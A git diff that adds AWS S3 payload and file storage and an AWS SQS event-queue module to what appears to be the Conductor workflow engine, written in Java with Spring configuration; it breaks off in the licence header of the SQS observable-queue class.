a/awss3-storage/build.gradle b/awss3-storage/build.gradle new file mode 100644 index 0000000..21e89b5 --- /dev/null +++ b/awss3-storage/build.gradle @@ -0,0 +1,22 @@ +/* + * Copyright 2023 Conductor authors + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation "software.amazon.awssdk:s3:${revAwsSdk}" + implementation "software.amazon.awssdk:sts:${revAwsSdk}" + implementation "org.apache.commons:commons-lang3" +} diff --git a/awss3-storage/src/main/java/com/netflix/conductor/s3/config/S3Configuration.java b/awss3-storage/src/main/java/com/netflix/conductor/s3/config/S3Configuration.java new file mode 100644 index 0000000..9b1da23 --- /dev/null +++ b/awss3-storage/src/main/java/com/netflix/conductor/s3/config/S3Configuration.java @@ -0,0 +1,55 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.s3.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.s3.storage.S3PayloadStorage; + +import software.amazon.awssdk.regions.Region; +import software.amazon.awssdk.services.s3.S3Client; +import software.amazon.awssdk.services.s3.presigner.S3Presigner; + +@Configuration +@EnableConfigurationProperties(S3Properties.class) +@ConditionalOnProperty(name = "conductor.external-payload-storage.type", havingValue = "s3") +public class S3Configuration { + + @Bean + public ExternalPayloadStorage s3ExternalPayloadStorage( + IDGenerator idGenerator, + S3Properties properties, + S3Client s3Client, + S3Presigner s3Presigner) { + return new S3PayloadStorage(idGenerator, properties, s3Client, s3Presigner); + } + + @ConditionalOnProperty( + name = "conductor.external-payload-storage.s3.use_default_client", + havingValue = "true", + matchIfMissing = true) + @Bean + public S3Client s3Client(S3Properties properties) { + return S3Client.builder().region(Region.of(properties.getRegion())).build(); + } + + @Bean + public S3Presigner s3Presigner(S3Properties properties) { + return S3Presigner.builder().region(Region.of(properties.getRegion())).build(); + } +} diff --git a/awss3-storage/src/main/java/com/netflix/conductor/s3/config/S3Properties.java b/awss3-storage/src/main/java/com/netflix/conductor/s3/config/S3Properties.java new file mode 100644 index 0000000..9c41b4a --- /dev/null +++ b/awss3-storage/src/main/java/com/netflix/conductor/s3/config/S3Properties.java @@ -0,0 +1,57 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.s3.config; + +import java.time.Duration; +import java.time.temporal.ChronoUnit; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; + +@ConfigurationProperties("conductor.external-payload-storage.s3") +public class S3Properties { + + /** The s3 bucket name where the payloads will be stored */ + private String bucketName = "conductor_payloads"; + + /** The time (in seconds) for which the signed url will be valid */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration signedUrlExpirationDuration = Duration.ofSeconds(5); + + /** The AWS region of the s3 bucket */ + private String region = "us-east-1"; + + public String getBucketName() { + return bucketName; + } + + public void setBucketName(String bucketName) { + this.bucketName = bucketName; + } + + public Duration getSignedUrlExpirationDuration() { + return signedUrlExpirationDuration; + } + + public void setSignedUrlExpirationDuration(Duration signedUrlExpirationDuration) { + this.signedUrlExpirationDuration = signedUrlExpirationDuration; + } + + public String getRegion() { + return region; + } + + public void setRegion(String region) { + this.region = region; + } +} diff --git a/awss3-storage/src/main/java/com/netflix/conductor/s3/storage/S3PayloadStorage.java b/awss3-storage/src/main/java/com/netflix/conductor/s3/storage/S3PayloadStorage.java new file mode 100644 index 0000000..c1e4b1f --- /dev/null +++ b/awss3-storage/src/main/java/com/netflix/conductor/s3/storage/S3PayloadStorage.java @@ -0,0 +1,211 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.s3.storage; + +import java.io.InputStream; +import java.time.Duration; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.s3.config.S3Properties; + +import software.amazon.awssdk.core.exception.SdkException; +import software.amazon.awssdk.core.sync.RequestBody; +import software.amazon.awssdk.services.s3.S3Client; +import software.amazon.awssdk.services.s3.model.GetObjectRequest; +import software.amazon.awssdk.services.s3.model.PutObjectRequest; +import software.amazon.awssdk.services.s3.presigner.S3Presigner; +import software.amazon.awssdk.services.s3.presigner.model.GetObjectPresignRequest; +import software.amazon.awssdk.services.s3.presigner.model.PutObjectPresignRequest; + +/** + * An implementation of {@link ExternalPayloadStorage} using AWS S3 for storing large JSON payload + * data. + * + *

NOTE: The S3 client assumes that access to S3 is configured on the instance. + * + * @see AWS + * SDK for Java v2 Credentials + */ +public class S3PayloadStorage implements ExternalPayloadStorage { + + private static final Logger LOGGER = LoggerFactory.getLogger(S3PayloadStorage.class); + private static final String CONTENT_TYPE = "application/json"; + + private final IDGenerator idGenerator; + private final S3Client s3Client; + private final S3Presigner s3Presigner; + private final String bucketName; + private final long expirationSec; + + public S3PayloadStorage( + IDGenerator idGenerator, + S3Properties properties, + S3Client s3Client, + S3Presigner s3Presigner) { + this.idGenerator = idGenerator; + this.s3Client = s3Client; + this.s3Presigner = s3Presigner; + this.bucketName = properties.getBucketName(); + this.expirationSec = properties.getSignedUrlExpirationDuration().getSeconds(); + } + + /** + * @param operation the type of {@link Operation} to be performed + * @param payloadType the {@link PayloadType} that is being accessed + * @return a {@link ExternalStorageLocation} object which contains the pre-signed URL and the s3 + * object key for the json payload + */ + @Override + public ExternalStorageLocation getLocation( + Operation operation, PayloadType payloadType, String path) { + try { + ExternalStorageLocation externalStorageLocation = new ExternalStorageLocation(); + + Duration signatureDuration = Duration.ofSeconds(expirationSec); + + String objectKey; + if (StringUtils.isNotBlank(path)) { + objectKey = path; + } else { + objectKey = getObjectKey(payloadType); + } + externalStorageLocation.setPath(objectKey); + + String presignedUrl; + + if (operation == Operation.WRITE) { + // For PUT operations + PutObjectRequest putObjectRequest = + PutObjectRequest.builder() + .bucket(bucketName) + .key(objectKey) + .contentType(CONTENT_TYPE) + .build(); + + PutObjectPresignRequest presignRequest = + PutObjectPresignRequest.builder() + .signatureDuration(signatureDuration) + .putObjectRequest(putObjectRequest) + .build(); + + presignedUrl = s3Presigner.presignPutObject(presignRequest).url().toString(); + } else { + // For GET operations + GetObjectRequest getObjectRequest = + GetObjectRequest.builder().bucket(bucketName).key(objectKey).build(); + + GetObjectPresignRequest presignRequest = + GetObjectPresignRequest.builder() + .signatureDuration(signatureDuration) + .getObjectRequest(getObjectRequest) + .build(); + + presignedUrl = s3Presigner.presignGetObject(presignRequest).url().toString(); + } + + externalStorageLocation.setUri(presignedUrl); + return externalStorageLocation; + } catch (SdkException e) { + String msg = + String.format( + "Error communicating with S3 - operation:%s, payloadType: %s, path: %s", + operation, payloadType, path); + LOGGER.error(msg, e); + throw new TransientException(msg, e); + } catch (Exception e) { + String msg = "Error generating presigned URL"; + LOGGER.error(msg, e); + throw new NonTransientException(msg, e); + } + } + + /** + * Uploads the payload to the given s3 object key. It is expected that the caller retrieves the + * object key using {@link #getLocation(Operation, PayloadType, String)} before making this + * call. + * + * @param path the s3 key of the object to be uploaded + * @param payload an {@link InputStream} containing the json payload which is to be uploaded + * @param payloadSize the size of the json payload in bytes + */ + @Override + public void upload(String path, InputStream payload, long payloadSize) { + try { + PutObjectRequest request = + PutObjectRequest.builder() + .bucket(bucketName) + .key(path) + .contentType(CONTENT_TYPE) + .contentLength(payloadSize) + .build(); + + s3Client.putObject(request, RequestBody.fromInputStream(payload, payloadSize)); + } catch (SdkException e) { + String msg = + String.format( + "Error uploading to S3 - path:%s, payloadSize: %d", path, payloadSize); + LOGGER.error(msg, e); + throw new TransientException(msg, e); + } + } + + /** + * Downloads the payload stored in the s3 object. + * + * @param path the S3 key of the object + * @return an input stream containing the contents of the object Caller is expected to close the + * input stream. + */ + @Override + public InputStream download(String path) { + try { + GetObjectRequest request = + GetObjectRequest.builder().bucket(bucketName).key(path).build(); + + return s3Client.getObject(request); + } catch (SdkException e) { + String msg = String.format("Error downloading from S3 - path:%s", path); + LOGGER.error(msg, e); + throw new TransientException(msg, e); + } + } + + private String getObjectKey(PayloadType payloadType) { + StringBuilder stringBuilder = new StringBuilder(); + switch (payloadType) { + case WORKFLOW_INPUT: + stringBuilder.append("workflow/input/"); + break; + case WORKFLOW_OUTPUT: + stringBuilder.append("workflow/output/"); + break; + case TASK_INPUT: + stringBuilder.append("task/input/"); + break; + case TASK_OUTPUT: + stringBuilder.append("task/output/"); + break; + } + stringBuilder.append(idGenerator.generate()).append(".json"); + return stringBuilder.toString(); + } +} diff --git a/awss3-storage/src/main/java/org/conductoross/conductor/s3/config/S3FileStorageConfiguration.java b/awss3-storage/src/main/java/org/conductoross/conductor/s3/config/S3FileStorageConfiguration.java new file mode 100644 index 0000000..15aa6d6 --- /dev/null +++ b/awss3-storage/src/main/java/org/conductoross/conductor/s3/config/S3FileStorageConfiguration.java @@ -0,0 +1,52 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.s3.config; + +import org.conductoross.conductor.core.storage.FileStorage; +import org.conductoross.conductor.s3.storage.S3FileStorage; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import software.amazon.awssdk.regions.Region; +import software.amazon.awssdk.services.s3.S3Client; +import software.amazon.awssdk.services.s3.presigner.S3Presigner; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(S3FileStorageProperties.class) +@ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") +public class S3FileStorageConfiguration { + + @Bean(name = "fileStorageS3Client") + @ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "s3") + public S3Client fileStorageS3Client(S3FileStorageProperties properties) { + return S3Client.builder().region(Region.of(properties.getRegion())).build(); + } + + @Bean(name = "fileStorageS3Presigner") + @ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "s3") + public S3Presigner fileStorageS3Presigner(S3FileStorageProperties properties) { + return S3Presigner.builder().region(Region.of(properties.getRegion())).build(); + } + + @Bean + @ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "s3") + public FileStorage s3FileStorage( + S3FileStorageProperties properties, + @Qualifier("fileStorageS3Client") S3Client s3Client, + @Qualifier("fileStorageS3Presigner") S3Presigner s3Presigner) { + return new S3FileStorage(properties, s3Client, s3Presigner); + } +} diff --git a/awss3-storage/src/main/java/org/conductoross/conductor/s3/config/S3FileStorageProperties.java b/awss3-storage/src/main/java/org/conductoross/conductor/s3/config/S3FileStorageProperties.java new file mode 100644 index 0000000..690d394 --- /dev/null +++ b/awss3-storage/src/main/java/org/conductoross/conductor/s3/config/S3FileStorageProperties.java @@ -0,0 +1,38 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.s3.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.file-storage.s3") +public class S3FileStorageProperties { + + private String bucketName; + private String region = "us-east-1"; + + public String getBucketName() { + return bucketName; + } + + public void setBucketName(String bucketName) { + this.bucketName = bucketName; + } + + public String getRegion() { + return region; + } + + public void setRegion(String region) { + this.region = region; + } +} diff --git a/awss3-storage/src/main/java/org/conductoross/conductor/s3/storage/S3FileStorage.java b/awss3-storage/src/main/java/org/conductoross/conductor/s3/storage/S3FileStorage.java new file mode 100644 index 0000000..d5b6281 --- /dev/null +++ b/awss3-storage/src/main/java/org/conductoross/conductor/s3/storage/S3FileStorage.java @@ -0,0 +1,135 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.s3.storage; + +import java.time.Duration; +import java.util.List; + +import org.conductoross.conductor.core.storage.FileStorage; +import org.conductoross.conductor.core.storage.StorageFileInfo; +import org.conductoross.conductor.model.file.StorageType; +import org.conductoross.conductor.s3.config.S3FileStorageProperties; + +import software.amazon.awssdk.services.s3.S3Client; +import software.amazon.awssdk.services.s3.model.*; +import software.amazon.awssdk.services.s3.presigner.S3Presigner; +import software.amazon.awssdk.services.s3.presigner.model.GetObjectPresignRequest; +import software.amazon.awssdk.services.s3.presigner.model.PutObjectPresignRequest; +import software.amazon.awssdk.services.s3.presigner.model.UploadPartPresignRequest; + +public class S3FileStorage implements FileStorage { + + private final String bucketName; + private final S3Client s3Client; + private final S3Presigner s3Presigner; + + public S3FileStorage( + S3FileStorageProperties properties, S3Client s3Client, S3Presigner s3Presigner) { + this.bucketName = properties.getBucketName(); + this.s3Client = s3Client; + this.s3Presigner = s3Presigner; + } + + @Override + public StorageType getStorageType() { + return StorageType.S3; + } + + @Override + public String generateUploadUrl(String storagePath, Duration expiration) { + PutObjectRequest putRequest = + PutObjectRequest.builder().bucket(bucketName).key(storagePath).build(); + PutObjectPresignRequest presignRequest = + PutObjectPresignRequest.builder() + .signatureDuration(expiration) + .putObjectRequest(putRequest) + .build(); + return s3Presigner.presignPutObject(presignRequest).url().toString(); + } + + @Override + public String generateDownloadUrl(String storagePath, Duration expiration) { + GetObjectRequest getRequest = + GetObjectRequest.builder().bucket(bucketName).key(storagePath).build(); + GetObjectPresignRequest presignRequest = + GetObjectPresignRequest.builder() + .signatureDuration(expiration) + .getObjectRequest(getRequest) + .build(); + return s3Presigner.presignGetObject(presignRequest).url().toString(); + } + + @Override + public StorageFileInfo getStorageFileInfo(String storagePath) { + try { + HeadObjectResponse head = + s3Client.headObject( + HeadObjectRequest.builder() + .bucket(bucketName) + .key(storagePath) + .build()); + StorageFileInfo info = new StorageFileInfo(); + info.setExists(true); + info.setContentHash(head.eTag()); + info.setContentSize(head.contentLength()); + return info; + } catch (NoSuchKeyException e) { + return null; + } + } + + @Override + public String initiateMultipartUpload(String storagePath) { + CreateMultipartUploadResponse response = + s3Client.createMultipartUpload( + CreateMultipartUploadRequest.builder() + .bucket(bucketName) + .key(storagePath) + .build()); + return response.uploadId(); + } + + @Override + public String generatePartUploadUrl( + String storagePath, String uploadId, int partNumber, Duration expiration) { + UploadPartRequest uploadPartRequest = + UploadPartRequest.builder() + .bucket(bucketName) + .key(storagePath) + .uploadId(uploadId) + .partNumber(partNumber) + .build(); + UploadPartPresignRequest presignRequest = + UploadPartPresignRequest.builder() + .signatureDuration(expiration) + .uploadPartRequest(uploadPartRequest) + .build(); + return s3Presigner.presignUploadPart(presignRequest).url().toString(); + } + + @Override + public void completeMultipartUpload( + String storagePath, String uploadId, List partETags) { + List parts = new java.util.ArrayList<>(); + for (int i = 0; i < partETags.size(); i++) { + parts.add(CompletedPart.builder().partNumber(i + 1).eTag(partETags.get(i)).build()); + } + s3Client.completeMultipartUpload( + CompleteMultipartUploadRequest.builder() + .bucket(bucketName) + .key(storagePath) + .uploadId(uploadId) + .multipartUpload(CompletedMultipartUpload.builder().parts(parts).build()) + .build()); + } +} diff --git a/awss3-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/awss3-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..b82c2c3 --- /dev/null +++ b/awss3-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,26 @@ +{ + "properties": [ + { + "name": "conductor.file-storage.s3.bucket-name", + "type": "java.lang.String", + "description": "S3 bucket name where files are stored." + }, + { + "name": "conductor.file-storage.s3.region", + "type": "java.lang.String", + "description": "AWS region for the S3 bucket.", + "defaultValue": "us-east-1" + } + ], + "hints": [ + { + "name": "conductor.external-payload-storage.type", + "values": [ + { + "value": "s3", + "description": "Use AWS S3 as the external payload storage." + } + ] + } + ] +} diff --git a/awssqs-event-queue/README.md b/awssqs-event-queue/README.md new file mode 100644 index 0000000..e69de29 diff --git a/awssqs-event-queue/build.gradle b/awssqs-event-queue/build.gradle new file mode 100644 index 0000000..035fc07 --- /dev/null +++ b/awssqs-event-queue/build.gradle @@ -0,0 +1,16 @@ +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation "org.apache.commons:commons-lang3" + // SBMTODO: remove guava dep + implementation "com.google.guava:guava:${revGuava}" + + implementation "software.amazon.awssdk:sqs:${revAwsSdk}" + + implementation "io.reactivex:rxjava:${revRxJava}" + + testImplementation 'org.springframework.boot:spring-boot-starter' + testImplementation project(':conductor-common').sourceSets.test.output +} \ No newline at end of file diff --git a/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueConfiguration.java b/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueConfiguration.java new file mode 100644 index 0000000..79c6d02 --- /dev/null +++ b/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueConfiguration.java @@ -0,0 +1,122 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqs.config; + +import java.net.URI; +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.model.TaskModel.Status; +import com.netflix.conductor.sqs.eventqueue.SQSObservableQueue.Builder; + +import rx.Scheduler; +import software.amazon.awssdk.auth.credentials.AwsCredentialsProvider; +import software.amazon.awssdk.auth.credentials.DefaultCredentialsProvider; +import software.amazon.awssdk.regions.Region; +import software.amazon.awssdk.services.sqs.SqsClient; +import software.amazon.awssdk.services.sqs.SqsClientBuilder; + +@Configuration +@EnableConfigurationProperties(SQSEventQueueProperties.class) +@ConditionalOnProperty(name = "conductor.event-queues.sqs.enabled", havingValue = "true") +public class SQSEventQueueConfiguration { + + private static final Logger LOGGER = LoggerFactory.getLogger(SQSEventQueueConfiguration.class); + @Autowired private SQSEventQueueProperties sqsProperties; + + @Bean + AwsCredentialsProvider createAWSCredentialsProvider() { + return DefaultCredentialsProvider.create(); + } + + @ConditionalOnMissingBean + @Bean + public SqsClient getSQSClient(AwsCredentialsProvider credentialsProvider) { + SqsClientBuilder builder = SqsClient.builder().credentialsProvider(credentialsProvider); + + // Set region - try to get from environment or properties + String region = System.getenv("AWS_REGION"); + if (region != null && !region.isEmpty()) { + builder.region(Region.of(region)); + } else { + // Fallback to default region if not specified + builder.region(Region.US_EAST_1); + } + + if (!sqsProperties.getEndpoint().isEmpty()) { + LOGGER.info("Setting custom SQS endpoint to {}", sqsProperties.getEndpoint()); + builder.endpointOverride(URI.create(sqsProperties.getEndpoint())); + } + + return builder.build(); + } + + @Bean + public EventQueueProvider sqsEventQueueProvider( + SqsClient sqsClient, SQSEventQueueProperties properties, Scheduler scheduler) { + return new SQSEventQueueProvider(sqsClient, properties, scheduler); + } + + @ConditionalOnProperty( + name = "conductor.default-event-queue.type", + havingValue = "sqs", + matchIfMissing = true) + @Bean + public Map getQueues( + ConductorProperties conductorProperties, + SQSEventQueueProperties properties, + SqsClient sqsClient) { + String stack = ""; + if (conductorProperties.getStack() != null && conductorProperties.getStack().length() > 0) { + stack = conductorProperties.getStack() + "_"; + } + Status[] statuses = new Status[] {Status.COMPLETED, Status.FAILED}; + Map queues = new HashMap<>(); + for (Status status : statuses) { + String queuePrefix = + StringUtils.isBlank(properties.getListenerQueuePrefix()) + ? conductorProperties.getAppId() + "_sqs_notify_" + stack + : properties.getListenerQueuePrefix(); + + String queueName = queuePrefix + status.name(); + + Builder builder = new Builder().withClient(sqsClient).withQueueName(queueName); + + String auth = properties.getAuthorizedAccounts(); + String[] accounts = auth.split(","); + for (String accountToAuthorize : accounts) { + accountToAuthorize = accountToAuthorize.trim(); + if (accountToAuthorize.length() > 0) { + builder.addAccountToAuthorize(accountToAuthorize.trim()); + } + } + ObservableQueue queue = builder.build(); + queues.put(status, queue); + } + + return queues; + } +} diff --git a/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueProperties.java b/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueProperties.java new file mode 100644 index 0000000..fbe40ee --- /dev/null +++ b/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueProperties.java @@ -0,0 +1,90 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqs.config; + +import java.time.Duration; +import java.time.temporal.ChronoUnit; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; + +@ConfigurationProperties("conductor.event-queues.sqs") +public class SQSEventQueueProperties { + + /** The maximum number of messages to be fetched from the queue in a single request */ + private int batchSize = 1; + + /** The polling interval (in milliseconds) */ + private Duration pollTimeDuration = Duration.ofMillis(100); + + /** The visibility timeout (in seconds) for the message on the queue */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration visibilityTimeout = Duration.ofSeconds(60); + + /** The prefix to be used for the default listener queues */ + private String listenerQueuePrefix = ""; + + /** The AWS account Ids authorized to send messages to the queues */ + private String authorizedAccounts = ""; + + /** The endpoint to use to connect to a local SQS server for testing */ + private String endpoint = ""; + + public int getBatchSize() { + return batchSize; + } + + public void setBatchSize(int batchSize) { + this.batchSize = batchSize; + } + + public Duration getPollTimeDuration() { + return pollTimeDuration; + } + + public void setPollTimeDuration(Duration pollTimeDuration) { + this.pollTimeDuration = pollTimeDuration; + } + + public Duration getVisibilityTimeout() { + return visibilityTimeout; + } + + public void setVisibilityTimeout(Duration visibilityTimeout) { + this.visibilityTimeout = visibilityTimeout; + } + + public String getListenerQueuePrefix() { + return listenerQueuePrefix; + } + + public void setListenerQueuePrefix(String listenerQueuePrefix) { + this.listenerQueuePrefix = listenerQueuePrefix; + } + + public String getAuthorizedAccounts() { + return authorizedAccounts; + } + + public void setAuthorizedAccounts(String authorizedAccounts) { + this.authorizedAccounts = authorizedAccounts; + } + + public String getEndpoint() { + return endpoint; + } + + public void setEndpoint(String endpoint) { + this.endpoint = endpoint; + } +} diff --git a/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueProvider.java b/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueProvider.java new file mode 100644 index 0000000..a05c320 --- /dev/null +++ b/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueProvider.java @@ -0,0 +1,65 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqs.config; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.springframework.lang.NonNull; + +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.sqs.eventqueue.SQSObservableQueue; + +import rx.Scheduler; +import software.amazon.awssdk.services.sqs.SqsClient; + +public class SQSEventQueueProvider implements EventQueueProvider { + + private final Map queues = new ConcurrentHashMap<>(); + private final SqsClient client; + private final int batchSize; + private final long pollTimeInMS; + private final int visibilityTimeoutInSeconds; + private final Scheduler scheduler; + + public SQSEventQueueProvider( + SqsClient client, SQSEventQueueProperties properties, Scheduler scheduler) { + this.client = client; + this.batchSize = properties.getBatchSize(); + this.pollTimeInMS = properties.getPollTimeDuration().toMillis(); + this.visibilityTimeoutInSeconds = (int) properties.getVisibilityTimeout().getSeconds(); + this.scheduler = scheduler; + } + + @Override + public String getQueueType() { + return "sqs"; + } + + @Override + @NonNull + public ObservableQueue getQueue(String queueURI) { + return queues.computeIfAbsent( + queueURI, + q -> + new SQSObservableQueue.Builder() + .withBatchSize(this.batchSize) + .withClient(client) + .withPollTimeInMS(this.pollTimeInMS) + .withQueueName(queueURI) + .withVisibilityTimeout(this.visibilityTimeoutInSeconds) + .withScheduler(scheduler) + .build()); + } +} diff --git a/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/eventqueue/SQSObservableQueue.java b/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/eventqueue/SQSObservableQueue.java new file mode 100644 index 0000000..5955bfd --- /dev/null +++ b/awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/eventqueue/SQSObservableQueue.java @@ -0,0 +1,502 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

